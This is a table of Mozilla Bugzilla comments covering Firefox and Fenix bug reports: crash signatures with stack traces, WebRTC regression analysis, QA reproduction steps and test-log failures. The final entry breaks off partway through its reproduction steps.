Bug ID
int64 961
1.91M
| Comment ID
int64 3.98k
17.1M
| Author
stringlengths 8
48
| Comment Text
stringlengths 1
64.3k
⌀ |
|---|---|---|---|
1,801,840 | 16,169,690 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Steps to reproduce:
- open a web page
- open Web Developer Tools with F12
- click on the web page on an element that opens an alert dialog (like alert('foo);)
(actually the alert is triggered by JavaScript code that executes on load of the page, not user click)
Actual results:
the devtools GUI at the bottom of the page is covered in gray overlay and can not be used
Expected results:
devtools usable
|
|
1,801,879 | 16,169,985 |
I'm hitting this crash reliably on Fenix nightly. STR coming up.
Crash report: https://crash-stats.mozilla.org/report/index/55666e6e-9c9e-4938-ad64-c34e40221122
MOZ_CRASH Reason: ```MOZ_DIAGNOSTIC_ASSERT(data) (Cycle collected object used on a thread without a cycle collector.)```
Top 10 frames of crashing thread:
```
0 libxul.so NS_CycleCollectorSuspect3 xpcom/base/nsCycleCollector.cpp:3797
1 libxul.so nsCycleCollectingAutoRefCnt::incr<&NS_CycleCollectorSuspect3> xpcom/base/nsISupportsImpl.h:248
1 libxul.so nsCycleCollectingAutoRefCnt::incr<&NS_CycleCollectorSuspect3> xpcom/base/nsISupportsImpl.h:234
1 libxul.so nsDocLoader::AddRef uriloader/base/nsDocLoader.cpp:193
1 libxul.so nsDocShell::AddRef docshell/base/nsDocShell.cpp:587
1 libxul.so {virtual override thunk} docshell/base/nsDocShell.cpp
2 libxul.so nsCOMPtr<nsIDocShell>::nsCOMPtr xpcom/base/nsCOMPtr.h:525
2 libxul.so nsCoreUtils::GetDocShellFor accessible/base/nsCoreUtils.cpp:330
3 libxul.so mozilla::a11y::DocAccessible::NativeRole const accessible/generic/DocAccessible.cpp:199
4 libxul.so mozilla::a11y::LocalAccessible::Role const accessible/generic/LocalAccessible-inl.h:26
```
|
|
1,801,907 | 16,170,116 |
Crash signature existed before Firefox 109.0a1 but the crash volume with 15 crashes from 5 (Linux) installations for 109.0a1 already eclipsed previous versions.
Crash report: https://crash-stats.mozilla.org/report/index/39de5fa5-8d24-4b7e-85b8-39f2e0221122
Comment from one crash report: "Searched for a term on google. After typing search query into the text entry I haven't submitted the form but pressed alt+d to jump to the address bar. From there I have used tab and shift+tab in random order to quickly navigate inside and outside of the document. After several jumps Firefox has crashed"
Reason: ```SIGSEGV / SEGV_MAPERR```
Top 10 frames of crashing thread:
```
0 libxul.so mozilla::a11y::Accessible::IsOuterDoc const accessible/basetypes/Accessible.h:528
0 libxul.so mozilla::a11y::TextLeafPoint::TextLeafPoint accessible/base/TextLeafRange.cpp:476
1 libxul.so mozilla::a11y::TextLeafPoint::FindBoundary const accessible/base/TextLeafRange.cpp:925
2 libxul.so mozilla::a11y::HyperTextAccessibleBase::TextBounds accessible/basetypes/HyperTextAccessibleBase.cpp:210
3 libxul.so mozilla::a11y::RemoteAccessible::TextBounds accessible/ipc/other/RemoteAccessible.cpp:276
4 libxul.so getRangeExtentsCB accessible/atk/nsMaiInterfaceText.cpp:387
5 libatk-bridge-2.0.so.0 impl_GetRangeExtents /usr/src/debug/at-spi2-core/atk-adaptor/adaptors/text-adaptor.c:676
6 libatk-bridge-2.0.so.0 handle_other /usr/src/debug/at-spi2-core/droute/droute.c:562
6 libatk-bridge-2.0.so.0 handle_message /usr/src/debug/at-spi2-core/droute/droute.c:609
7 libdbus-1.so.3 _dbus_object_tree_dispatch_and_unlock /build/dbus/src/dbus/dbus/dbus-object-tree.c:1021
```
|
|
1,802,134 | 16,171,604 |
Created attachment 9304908
OnboardingVideoExp_ReducedMotion.gif
**[Affected versions]:**
- Firefox Beta 108.0b5 - Build ID: 20221122190120
**[Affected Platforms]:**
- Windows 10 x64
- Windows 11 x64
**[Prerequisites]:**
- Have the Firefox Beta 108.0b5 browser installed.
- Have this [user.js](https://drive.google.com/file/d/13v9G4ujXA51LztHONfoVj5-rz76_MqNj/view?usp=share_link) saved on your computer.
- Have the “Show animations on Windows” set to Off in OS settings.
**[Steps to reproduce]:**
1. Open the browser using the -p --first-startup and create a new profile.
2. Copy and paste the user.js file from prerequisites on the Profile Folder.
3. Open the Firefox profile from prerequisites.
4. Navigate to the “about:studies” page.
5. Observe the listed studies.
**[Expected result]:**
- The “Onboarding Welcome Video Experiment” experiment is not displayed on the “about:studies” page.
**[Actual result]:**
- The “Onboarding Welcome Video Experiment” experiment is displayed on the “about:studies” page.
**[Notes]:**
- The “userPrefersReducedMotion” is recognized as true in the ASRouter devtool.
- Attached is a screen recording of the issue.
|
|
1,802,690 | 16,174,891 |
**Filed by:** abutkovits [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=397771619&repo=try
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/BoJHwDudSDi808gEBjH5Tg/runs/0/artifacts/public/logs/live_backing.log
---
```
[task 2022-11-26T11:03:12.813Z] 11:03:12 INFO - TEST-START | browser/components/contextualidentity/test/browser/browser_aboutURLs.js
[task 2022-11-26T11:03:13.833Z] 11:03:13 INFO - GECKO(9152) | JavaScript error: resource://gre/modules/XULStore.jsm, line 58: Error: Can't find profile directory.
[task 2022-11-26T11:03:14.691Z] 11:03:14 INFO - GECKO(9152) | JavaScript error: resource://gre/modules/XULStore.jsm, line 58: Error: Can't find profile directory.
[task 2022-11-26T11:03:15.600Z] 11:03:15 INFO - GECKO(9152) | JavaScript error: resource://gre/modules/XULStore.jsm, line 58: Error: Can't find profile directory.
[task 2022-11-26T11:03:15.621Z] 11:03:15 INFO - GECKO(9152) | JavaScript error: resource://gre/modules/XULStore.jsm, line 58: Error: Can't find profile directory.
[task 2022-11-26T11:03:15.682Z] 11:03:15 INFO - GECKO(9152) | JavaScript error: , line 0: SyntaxError: JSON.parse: unexpected character at line 1 column 10 of the JSON data
[task 2022-11-26T11:03:15.685Z] 11:03:15 INFO - GECKO(9152) | =================================================================
[task 2022-11-26T11:03:15.686Z] 11:03:15 ERROR - GECKO(9152) | ==6076==ERROR: AddressSanitizer: access-violation on unknown address 0x000000000018 (pc 0x7ff920d4b6cd bp 0x00c1047fcc10 sp 0x00c1047fca40 T0)
[task 2022-11-26T11:03:15.686Z] 11:03:15 INFO - GECKO(9152) | ==6076==The signal is caused by a READ memory access.
[task 2022-11-26T11:03:15.687Z] 11:03:15 INFO - GECKO(9152) | ==6076==Hint: address points to the zero page.
[task 2022-11-26T11:03:16.379Z] 11:03:16 INFO - GECKO(9152) | ==6076==WARNING: Failed to use and restart external symbolizer!
[task 2022-11-26T11:03:17.103Z] 11:03:17 INFO - GECKO(9152) | #0 0x7ff920d4b6cc in mozilla::dom::Promise::MaybeSomething<const JS::Handle<JS::Value> &> /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise.h:407
[task 2022-11-26T11:03:17.104Z] 11:03:17 INFO - GECKO(9152) | #1 0x7ff929ac8a47 in mozilla::dom::Promise::MaybeRejectWithUndefined /builds/worker/checkouts/gecko/dom/promise/Promise.cpp:611
[task 2022-11-26T11:03:17.105Z] 11:03:17 INFO - GECKO(9152) | #2 0x7ff92a2c66b4 in mozilla::dom::DocumentL10n::TranslateDocument /builds/worker/checkouts/gecko/dom/l10n/DocumentL10n.cpp:265
[task 2022-11-26T11:03:17.105Z] 11:03:17 INFO - GECKO(9152) | #3 0x7ff92a2c482d in mozilla::dom::DocumentL10n::TriggerInitialTranslation /builds/worker/checkouts/gecko/dom/l10n/DocumentL10n.cpp:138
[task 2022-11-26T11:03:17.106Z] 11:03:17 INFO - GECKO(9152) | #4 0x7ff923f9a927 in mozilla::dom::Document::OnParsingCompleted /builds/worker/checkouts/gecko/dom/base/Document.cpp:4406
[task 2022-11-26T11:03:17.107Z] 11:03:17 INFO - GECKO(9152) | #5 0x7ff922cddf06 in nsHtml5TreeOpExecutor::DidBuildModel /builds/worker/checkouts/gecko/parser/html/nsHtml5TreeOpExecutor.cpp:195
[task 2022-11-26T11:03:17.107Z] 11:03:17 INFO - GECKO(9152) | #6 0x7ff922ce1aaa in nsHtml5TreeOpExecutor::RunFlushLoop /builds/worker/checkouts/gecko/parser/html/nsHtml5TreeOpExecutor.cpp:728
[task 2022-11-26T11:03:17.108Z] 11:03:17 INFO - GECKO(9152) | #7 0x7ff922ce0723 in BackgroundFlushCallback /builds/worker/checkouts/gecko/parser/html/nsHtml5TreeOpExecutor.cpp:478
[task 2022-11-26T11:03:17.108Z] 11:03:17 INFO - GECKO(9152) | #8 0x7ff922cf4ce2 in std::_Func_impl_no_alloc<bool (__cdecl*)(mozilla::TimeStamp),bool,mozilla::TimeStamp>::_Do_call+0x102 (Z:\task_166945922548456\build\application\firefox\xul.dll+0x182a34ce2)
[task 2022-11-26T11:03:17.109Z] 11:03:17 INFO - GECKO(9152) | #9 0x7ff920ebb0df in mozilla::IdleTaskRunner::Run /builds/worker/checkouts/gecko/xpcom/threads/IdleTaskRunner.cpp:125
[task 2022-11-26T11:03:17.110Z] 11:03:17 INFO - GECKO(9152) | #10 0x7ff920ebcc1f in mozilla::IdleTaskRunnerTask::Run /builds/worker/checkouts/gecko/xpcom/threads/IdleTaskRunner.cpp:46
[task 2022-11-26T11:03:17.110Z] 11:03:17 INFO - GECKO(9152) | #11 0x7ff920ed14c5 in mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:851
[task 2022-11-26T11:03:17.111Z] 11:03:17 INFO - GECKO(9152) | #12 0x7ff920ece242 in mozilla::TaskController::ExecuteNextTaskOnlyMainThreadInternal /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:725
[task 2022-11-26T11:03:17.111Z] 11:03:17 INFO - GECKO(9152) | #13 0x7ff920eceaee in mozilla::TaskController::ProcessPendingMTTask /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:461
[task 2022-11-26T11:03:17.112Z] 11:03:17 INFO - GECKO(9152) | #14 0x7ff920ee07a1 in mozilla::detail::RunnableFunction<`lambda at /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:187:7'>::Run /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:546
[task 2022-11-26T11:03:17.112Z] 11:03:17 INFO - GECKO(9152) | #15 0x7ff920f0f5b5 in nsThread::ProcessNextEvent /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1204
[task 2022-11-26T11:03:17.113Z] 11:03:17 INFO - GECKO(9152) | #16 0x7ff920f1f2dd in NS_ProcessNextEvent /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:474
[task 2022-11-26T11:03:17.114Z] 11:03:17 INFO - GECKO(9152) | #17 0x7ff9224c92e7 in mozilla::ipc::MessagePump::Run /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:85
[task 2022-11-26T11:03:17.114Z] 11:03:17 INFO - GECKO(9152) | #18 0x7ff9223e7152 in MessageLoop::RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374
[task 2022-11-26T11:03:17.115Z] 11:03:17 INFO - GECKO(9152) | #19 0x7ff9223e6f27 in MessageLoop::Run /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356
[task 2022-11-26T11:03:17.115Z] 11:03:17 INFO - GECKO(9152) | #20 0x7ff92a40e42c in nsBaseAppShell::Run /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:150
[task 2022-11-26T11:03:17.115Z] 11:03:17 INFO - GECKO(9152) | #21 0x7ff92a5fcd86 in nsAppShell::Run /builds/worker/checkouts/gecko/widget/windows/nsAppShell.cpp:614
[task 2022-11-26T11:03:17.116Z] 11:03:17 INFO - GECKO(9152) | #22 0x7ff92eb614c7 in XRE_RunAppShell /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:884
[task 2022-11-26T11:03:17.117Z] 11:03:17 INFO - GECKO(9152) | #23 0x7ff9223e7152 in MessageLoop::RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374
[task 2022-11-26T11:03:17.117Z] 11:03:17 INFO - GECKO(9152) | #24 0x7ff9223e6f27 in MessageLoop::Run /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356
[task 2022-11-26T11:03:17.117Z] 11:03:17 INFO - GECKO(9152) | #25 0x7ff92eb60910 in XRE_InitChildProcess /builds/worker/checkouts/gecko/toolkit/xre/nsEmbedFunctions.cpp:743
[task 2022-11-26T11:03:17.118Z] 11:03:17 INFO - GECKO(9152) | #26 0x7ff7e2d22cb5 in NS_internal_main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:359
[task 2022-11-26T11:03:17.119Z] 11:03:17 INFO - GECKO(9152) | #27 0x7ff7e2d2166e in wmain /builds/worker/checkouts/gecko/toolkit/xre/nsWindowsWMain.cpp:167
[task 2022-11-26T11:03:17.119Z] 11:03:17 INFO - GECKO(9152) | #28 0x7ff7e2e0df97 in __scrt_common_main_seh d:\agent\_work\2\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
[task 2022-11-26T11:03:17.119Z] 11:03:17 INFO - GECKO(9152) | #29 0x7ff969497033 in BaseThreadInitThunk+0x13 (C:\Windows\System32\KERNEL32.DLL+0x180017033)
[task 2022-11-26T11:03:17.120Z] 11:03:17 INFO - GECKO(9152) | #30 0x7ff96b2e2650 in RtlUserThreadStart+0x20 (C:\Windows\SYSTEM32\ntdll.dll+0x180052650)
[task 2022-11-26T11:03:17.120Z] 11:03:17 INFO - GECKO(9152) | AddressSanitizer can not provide additional info.
[task 2022-11-26T11:03:17.121Z] 11:03:17 INFO - GECKO(9152) | SUMMARY: AddressSanitizer: access-violation /builds/worker/workspace/obj-build/dist/include/mozilla/dom/Promise.h:407 in mozilla::dom::Promise::MaybeSomething<const JS::Handle<JS::Value> &>
[task 2022-11-26T11:03:17.121Z] 11:03:17 INFO - GECKO(9152) | ==6076==ABORTING
[task 2022-11-26T11:06:12.917Z] 11:06:12 INFO - TEST-INFO | started process screenshot
[task 2022-11-26T11:06:13.162Z] 11:06:13 INFO - TEST-INFO | screenshot: exit 0
[task 2022-11-26T11:06:13.167Z] 11:06:13 INFO - Buffered messages logged at 11:03:12
[task 2022-11-26T11:06:13.168Z] 11:06:13 INFO - Entering test bound
[task 2022-11-26T11:06:13.168Z] 11:06:13 INFO - Loading about:memory
[task 2022-11-26T11:06:13.169Z] 11:06:13 INFO - Buffered messages logged at 11:03:13
[task 2022-11-26T11:06:13.170Z] 11:06:13 INFO - TEST-PASS | browser/components/contextualidentity/test/browser/browser_aboutURLs.js | Done loading about:memory -
[task 2022-11-26T11:06:13.170Z] 11:06:13 INFO - Loading about:networking
[task 2022-11-26T11:06:13.171Z] 11:06:13 INFO - TEST-PASS | browser/components/contextualidentity/test/browser/browser_aboutURLs.js | Done loading about:networking
```
|
|
1,802,829 | 16,175,509 |
From github: https://github.com/mozilla-mobile/fenix/issues/27982.
> H264 is something I need for watching hyperbeam with my friends on mobile. without it, I get a nice lil error on my screen that H264 is not supported on my device, which is a Pixel 7 Running grapheneOS. and tell me to install the official firefox from the app store. So I did. But I got the same error. However if I downloaded the brave browser and went back into hyperbeam, It works again. And whats even stranger is that on my samsung S21 phone. hyperbeam also works just fine in the browser.
>
> The best I could find recently was this question on stack overflow.
>
> https://stackoverflow.com/questions/74483260/does-geckoview-firefox-webrtc-support-av1-h264-codecs-on-android
>
> Apparently very select devices (Most notably, pixel phones) Just have H264 disabled completely for firefox it seems and doesnt matter wether you use software or hardware encoding, It just doesnt work. How can this go about being fixed?
>
> ┆Issue is synchronized with this [Jira Task](https://mozilla-hub.atlassian.net/browse/FNXV2-22055)
>
Change performed by the [Move to Bugzilla add-on](https://addons.mozilla.org/en-US/firefox/addon/move-to-bugzilla/).
|
|
1,802,889 | 16,177,455 |
Created attachment 9305572
2022-11-28_14h40_40.mp4
**Found in**
* 109.0a1 (2022-11-28)
**Affected versions**
* Firefox Nightly 109.0a1 (2022-11-28)
* Beta 108.0b6
* Release 107.0
**Preconditions**
* Sign in to FXA on a second PC as well as on a Phone. (sync both devices)
* Have the Tab pickup section from Fx View populated.
**Affected platforms**
* Windows, Ubuntu, Mac
**Steps to reproduce**
1. Reach the FX View page and make sure that the Pickup tabs are populated.
2. Reach Fxa account settings and sign out all other devices except the Mobile phone. (including the Device currently signed in)
3. Sign back in from the page and then Sign in to FXA as well (from the hamburger menu).
4. Reach the Firefox View tab.
5. Reach any other website on the mobile phone.
**Expected result**
* Tab pickup section should populate with all the tabs from the Mobile phone.
**Actual result**
* The "Sync Firefox on your phone or tablet" message is displayed.
* The "Sync Firefox on your phone or tablet" message will only disappear after logging back on a different desktop machine.
**Regression range**
This issue is not a regression.
|
|
1,802,908 | 16,177,556 |
See https://crash-stats.mozilla.org/report/index/14461d54-93af-456e-8b3a-1183c0221128
We're hitting `MOZ_RELEASE_ASSERT(streams.size(), "Should configure at least one stream");`.
But we've passed `MOZ_RELEASE_ASSERT(streamCount >= 1, "Should request at least one stream")` without a problem, which means we took the escape hatch [here](https://searchfox.org/mozilla-central/rev/028c68d5f32df54bca4cf96376f79e48dfafdf08/dom/media/webrtc/libwebrtcglue/VideoStreamFactory.cpp#164-167) due to the calculated resolution of a stream being 0 in either dimension.
I've confirmed with the reporter of the crash linked above that this is a 108 regression and that they hit this due to a very large scaleResolutionDownBy number for a desktopsharing track (limited by us to one layer). Reasonably it should also happen if the very large number gets applied to every simulcast layer for non-desktopsharing tracks.
We have done changes in VideoConduit and VideoStreamFactory in 108 in bug 1780310. Looking closer this is the regressing bug.
What happens in 107 is that [VideoConduit::mVideoAdapter](https://searchfox.org/mozilla-central/rev/56a9b195dfb50a0bdd57f9982bff4d38455869df/dom/media/webrtc/libwebrtcglue/VideoConduit.cpp#1434) gets a [zero max pixel count in AdaptFrameResolution](https://searchfox.org/mozilla-central/rev/028c68d5f32df54bca4cf96376f79e48dfafdf08/third_party/libwebrtc/media/base/video_adapter.cc#190), resulting in [AdaptFrameResolution telling us to drop the frame](https://searchfox.org/mozilla-central/rev/028c68d5f32df54bca4cf96376f79e48dfafdf08/third_party/libwebrtc/media/base/video_adapter.cc#196,212-213).
Therefore in 107 after applying the high scaleResolutionDownBy the new calculated frame size is never propagated. Should VideoStreamFactory recalculate streams it will use the frame size of the last seen frame (prior to the high scaleResolutionDownBy).
However in 108 we removed VideoConduit::mVideoAdapter, so the frame gets passed on verbatim and VideoStreamFactory is solely responsible for applying scaleResolutionDownBy. When it sees this high scaleResolutionDownBy [it ignores the layer](https://searchfox.org/mozilla-central/rev/028c68d5f32df54bca4cf96376f79e48dfafdf08/dom/media/webrtc/libwebrtcglue/VideoStreamFactory.cpp#163-168), and if [all layers get ignored, we crash](https://searchfox.org/mozilla-central/rev/028c68d5f32df54bca4cf96376f79e48dfafdf08/dom/media/webrtc/libwebrtcglue/VideoStreamFactory.cpp#237) as in the crash report above.
|
|
1,803,336 | 16,180,855 |
13 crashes on macOS since development of Firefox v108 began, all with Nightly or Developer Edition but no reports for Beta. The have been a few crashes with this signature for earlier versions on Windows.
Crash report: https://crash-stats.mozilla.org/report/index/bf2dab70-6fa0-4e0f-8730-20fe60221130
Reason: ```EXC_BAD_ACCESS / KERN_INVALID_ADDRESS```
Top 10 frames of crashing thread:
```
0 XUL nsTextFragment::CharAt const dom/base/nsTextFragment.h:221
0 XUL mozilla::EditorDOMPointBase<nsINode*, nsIContent*>::Char const editor/libeditor/EditorDOMPoint.h:390
0 XUL mozilla::EditorDOMPointBase<nsINode*, nsIContent*>::IsCharASCIISpaceOrNBSP const editor/libeditor/EditorDOMPoint.h:397
1 XUL mozilla::DeleteRangeTransaction::MaybeExtendDeletingRangeWithSurroundingWhitespace const editor/libeditor/DeleteRangeTransaction.cpp:75
1 XUL mozilla::DeleteRangeTransaction::DoTransaction editor/libeditor/DeleteRangeTransaction.cpp:124
2 XUL mozilla::EditAggregateTransaction::DoTransaction editor/libeditor/EditAggregateTransaction.cpp:38
3 XUL mozilla::TransactionItem::DoTransaction editor/txmgr/TransactionItem.cpp:83
3 XUL mozilla::TransactionManager::BeginTransaction editor/txmgr/TransactionManager.cpp:422
4 XUL mozilla::TransactionManager::DoTransaction editor/txmgr/TransactionManager.cpp:74
5 XUL mozilla::EditorBase::DoTransactionInternal editor/libeditor/EditorBase.cpp:908
```
|
|
1,803,530 | 16,182,175 |
On Android when h264 hw encoding is available (it mostly is), we negotiate h264 by default.
These hw encoders tend to be picky on the resolution they will accept. libwebrtc for instance [sets the resolution alignment on Android MediaCodecs to 16](https://hg.mozilla.org/mozilla-central/rev/8808eb950e6ebca93792083d2088565816855622).
Before bug 1780310 we had a particular way of calculating resolutions, mainly for simulcast, that would normally result in 16-aligned dimensions. This behavior was due to limitations in libwebrtc; it would only accept layers with exactly matching aspect ratios.
Bug 1780310 left the handling to libwebrtc since those limitations were gone. However, on Android where the encoder is picky, we 1) [do not](https://searchfox.org/mozilla-central/rev/2fc2ccf960c2f7c419262ac7215715c5235948db/dom/media/webrtc/libwebrtcglue/WebrtcMediaDataEncoderCodec.cpp#271-275) tell [libwebrtc](https://searchfox.org/mozilla-central/rev/2fc2ccf960c2f7c419262ac7215715c5235948db/third_party/libwebrtc/api/video_codecs/video_encoder.h#171-177) about this pickiness, and 2) [do not](https://searchfox.org/mozilla-central/search?q=symbol:F_%3CT_mozilla%3A%3AVideoStreamFactory%3E_mWants&redirect=false) handle [said resolution alignment](https://searchfox.org/mozilla-central/rev/2fc2ccf960c2f7c419262ac7215715c5235948db/third_party/libwebrtc/api/video/video_source_interface.h#56-61) when signaled.
|
|
1,804,064 | 16,187,298 |
Created attachment 9306677
fxview.gif
**Found in**
* 109.0a1 (20221204094021)
**Affected versions**
* 109.0a1 (20221204094021)
* 108.0b9
* 107.0.1
**Tested platforms**
* Affected platforms: Windows 10x64, Ubuntu 20.04, macOS 11
* Unaffected platforms: none
**Steps to reproduce**
1. Open Firefox and another new window.
2. Click the Firefox View button in the new window and close the window from the X button.
3. Open App Menu > History and click on the Recently closed Windows option.
**Expected result**
* The Recently Closed windows are displayed.
**Actual result**
* Nothing happens.
**Regression range**
* Last good revision: 4a17392e12c8d25a57b2085d647fad57a7fc82af
6:00.33 INFO: First bad revision: 41e7f8ab19366809bb850d8622a15bab66f1984a
6:00.33 INFO: Pushlog:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=4a17392e12c8d25a57b2085d647fad57a7fc82af&tochange=41e7f8ab19366809bb850d8622a15bab66f1984a
Potential regressor: bug 1787979
**Additional notes**
* Attached a screen recording.
* Recently Closed tabs and the Back button does not work either after the Recently closed windows button was clicked.
* Closing and reopening Firefox Browser fixes the issue. Restarting Firefox does not.
* S2 because the user is not able to restore the previously closed windows or tabs from the History Menu after following the above steps.
|
|
1,804,400 | 16,189,904 |
Created attachment 9307030
pr 15786: Add a very basic and incomplete workaround for issue #15780
Attach (recommended) or Link to PDF file here:
https://raw.githubusercontent.com/mozilla/pdf.js/master/test/pdfs/tracemonkey.pdf#page=1&zoom=page-fit,-510,792
Steps to reproduce the problem:
1. Add a text on the first page
2. Scroll the pdf to go to the last page
3. Click on the print button
The print preview shows an empty document.
This bug mirrors https://github.com/mozilla/pdf.js/issues/15780
|
|
1,804,445 | 16,190,165 |
Created attachment 9307065
Instagram.png
**Environment:**
Operating system: OnePlus 6 A6000 (Android 11)
Firefox version: Nightly 109.0a1-20221206034609
**Preconditions:**
• ETP set to Standard
• Clean profile
**Steps to reproduce:**
1. Go to https://www.instagram.com
2. Tap on "Log in".
3. Perform the login with your facebook account.
4. Observe the behaviour.
**Expected Behaviour:**
The login is performed successfully.
**Actual Behaviour:**
The login is not performed and the user is redirected to the login page.
**Notes:**
1. Screenshot provided
2. Reproducible with Standard and Strict ETP
3. Not reproducible with ETP OFF
4. Same behaviour in private
5. Note reproducible on Firefox Release (107.0.1-20221128144904)
|
|
1,804,624 | 16,191,267 |
## Summary
Firefox fails to work with Yubico YubiKey 5 by "The operation failed for an unknown transient reason" error.
## Environments
- Firefox Nightly
- build id 20221207165436
- source https://hg.mozilla.org/mozilla-central/rev/8e09abeeb445553bd956d537bcf54fcdf812bb52
- macOS Ventura (13.0)
## Steps to reproduce
0. Insert my YubiKey to USB port on My Laptop.
1. Open https://www.yubico.com/genuine/
2. Click "Verify Device"
3. Click "Proceed" on Firefox's doorhanger notification
4. Activate my YubiKey by touching it.
## Expected Result
The page shows "Verification Complete".
## Actual Result
The page says "Operation failed" and "The operation failed for an unknown transient reason"
## Additional Information
This problems is reproducible on some login pages.
For example,
- https://github.com/login
- Google's login page.
|
|
1,807,716 | 16,215,538 |
From github: https://github.com/mozilla-mobile/fenix/issues/28297.
> 229d4b80-6c3b-428c-8cbd-69a14bbe3fff
>
> `java.lang.UnsatisfiedLinkError: No implementation found for boolean org.mozilla.gecko.SurfaceViewWrapper.isSurfaceAbandoned(android.view.Surface) (tried Java_org_mozilla_gecko_SurfaceViewWrapper_isSurfaceAbandoned and Java_org_mozilla_gecko_SurfaceViewWrapper_isSurfaceAbandoned__Landroid_view_Surface_2)`
>
> ```
> java.lang.UnsatisfiedLinkError: No implementation found for boolean org.mozilla.gecko.SurfaceViewWrapper.isSurfaceAbandoned(android.view.Surface) (tried Java_org_mozilla_gecko_SurfaceViewWrapper_isSurfaceAbandoned and Java_org_mozilla_gecko_SurfaceViewWrapper_isSurfaceAbandoned__Landroid_view_Surface_2)
> at org.mozilla.gecko.SurfaceViewWrapper.isSurfaceAbandoned(Native Method)
> at org.mozilla.geckoview.GeckoView$Display.acquire(GeckoView.java:10)
> at org.mozilla.geckoview.GeckoView.setSession(GeckoView.java:10)
> at mozilla.components.browser.engine.gecko.GeckoEngineView.render(GeckoEngineView.kt:9)
> at mozilla.components.feature.session.engine.EngineViewPresenter$start$1$3.emit(EngineViewPresenter.kt:16)
> at mozilla.components.support.ktx.kotlinx.coroutines.flow.FlowKt$ifAnyChanged$$inlined$filter$1$2.emit(Emitters.kt:19)
> at mozilla.components.feature.session.engine.EngineViewPresenter$start$1$invokeSuspend$$inlined$map$1$2.emit(Emitters.kt:7)
> at kotlinx.coroutines.flow.FlowKt__ChannelsKt.emitAllImpl$FlowKt__ChannelsKt(Channels.kt:14)
> at kotlinx.coroutines.flow.FlowKt__ChannelsKt$emitAllImpl$1.invokeSuspend(Channels.kt:1)
> at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:4)
> at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:18)
> at android.os.Handler.handleCallback(Handler.java:900)
> at android.os.Handler.dispatchMessage(Handler.java:103)
> at android.os.Looper.loop(Looper.java:219)
> at android.app.ActivityThread.main(ActivityThread.java:8668)
> at java.lang.reflect.Method.invoke(Native Method)
> at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:513)
> at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1109)
> Suppressed: kotlinx.coroutines.DiagnosticCoroutineContextException: [StandaloneCoroutine{Cancelling}@df847ac, Dispatchers.Main]
> ```
>
> ┆Issue is synchronized with this [Jira Task](https://mozilla-hub.atlassian.net/browse/FNXV2-22189)
>
Change performed by the [Move to Bugzilla add-on](https://addons.mozilla.org/en-US/firefox/addon/move-to-bugzilla/).
|
|
1,808,177 | 16,219,554 |
Crash signature new with Firefox v108, observed across operating systems. 280 crash reports recorded for the last week.
Regression from bug 1778565?
Crash report: https://crash-stats.mozilla.org/report/index/eaea85cf-747c-4a35-8a30-67eef0230102
Reason: ```EXCEPTION_ACCESS_VIOLATION_READ```
Top 10 frames of crashing thread:
```
0 xul.dll RefPtr<mozilla::dom::NodeInfo>::get const mfbt/RefPtr.h:286
0 xul.dll RefPtr<mozilla::dom::NodeInfo>::operator-> const mfbt/RefPtr.h:316
0 xul.dll nsINode::OwnerDoc const dom/base/nsINode.h:686
0 xul.dll mozilla::HTMLEditor::BlobReader::OnError editor/libeditor/HTMLEditorDataTransfer.cpp:1729
1 xul.dll mozilla::SlurpBlobEventListener::HandleEvent editor/libeditor/HTMLEditorDataTransfer.cpp:1792
2 xul.dll mozilla::EventListenerManager::HandleEventSubType dom/events/EventListenerManager.cpp:1316
2 xul.dll mozilla::EventListenerManager::HandleEventInternal dom/events/EventListenerManager.cpp:1506
2 xul.dll mozilla::EventListenerManager::HandleEvent dom/events/EventListenerManager.h:395
2 xul.dll mozilla::EventTargetChainItem::HandleEvent dom/events/EventDispatcher.cpp:348
3 xul.dll mozilla::EventTargetChainItem::HandleEventTargetChain dom/events/EventDispatcher.cpp:550
```
|
|
1,808,352 | 16,220,708 |
Crash report: https://crash-stats.mozilla.org/report/index/15f92ed6-ad90-4d68-aea7-6425c0230103
Reason: ```EXCEPTION_ACCESS_VIOLATION_READ```
Top 4 frames of crashing thread:
```
0 xul.dll RefPtr<nsDOMTokenList>::operator! const mfbt/RefPtr.h:311
0 xul.dll mozilla::dom::Element::ClassList dom/base/Element.cpp:622
1 xul.dll mozilla::dom::Element_Binding::get_classList dom/bindings/ElementBinding.cpp:1361
2 ? @0x000001f7fdd21aef
```
There aren't a ton of these crashes, but almost all of them are on the poison pattern 0x4b, which looks to be JS_SWEPT_TENURED_PATTERN. The objects in question are all DOM things, so maybe the bindings layer unwrapped a poison JS object and we're dereferencing that?
I came across this while investigating bug 1808175, which is another later crash in Element_Binding::get_classList, on a value that is null except with one bit set.
|
|
1,809,422 | 16,229,844 |
Created attachment 9311541
UnableToGeneratePDF.mp4
### Steps to reproduce
1. In about:config, set the pdfjs.disabled pref to false.
2. Open a PDF file.
3. Tap on the 3 dot-menu > Tap on the Share icon > Tap on "Save as PDF" option.
